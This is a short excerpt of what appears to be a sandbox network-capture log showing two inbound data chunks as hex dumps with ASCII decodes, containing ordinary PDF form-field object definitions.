2024-12-14 12:59:39 UTC	8949	IN	Data Raw: 4d 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 2f 54 78 20 42 4d 43 20 0a 45 4d 43 0a 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 30 37 38 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 2e 30 20 30 2e 30 20 35 34 2e 30 20 31 31 2e 35 32 5d 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 33 2f 4d 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 Data Ascii: Matrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/Type/XObject>>stream/Tx BMC EMCendstreamendobj1078 0 obj<</BBox[0.0 0.0 54.0 11.52]/FormType 1/Length 13/Matrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/F
2024-12-14 12:59:39 UTC	16384	IN	Data Raw: 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 33 2f 4d 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 2f 54 78 20 42 4d 43 20 0a 45 4d 43 0a 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 31 32 39 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 2e 30 20 30 2e 30 20 38 36 2e 32 38 20 31 31 2e 35 32 5d 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 33 2f 4d 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f Data Ascii: pe 1/Length 13/Matrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/Type/XObject>>stream/Tx BMC EMCendstreamendobj1129 0 obj<</BBox[0.0 0.0 86.28 11.52]/FormType 1/Length 13/Matrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/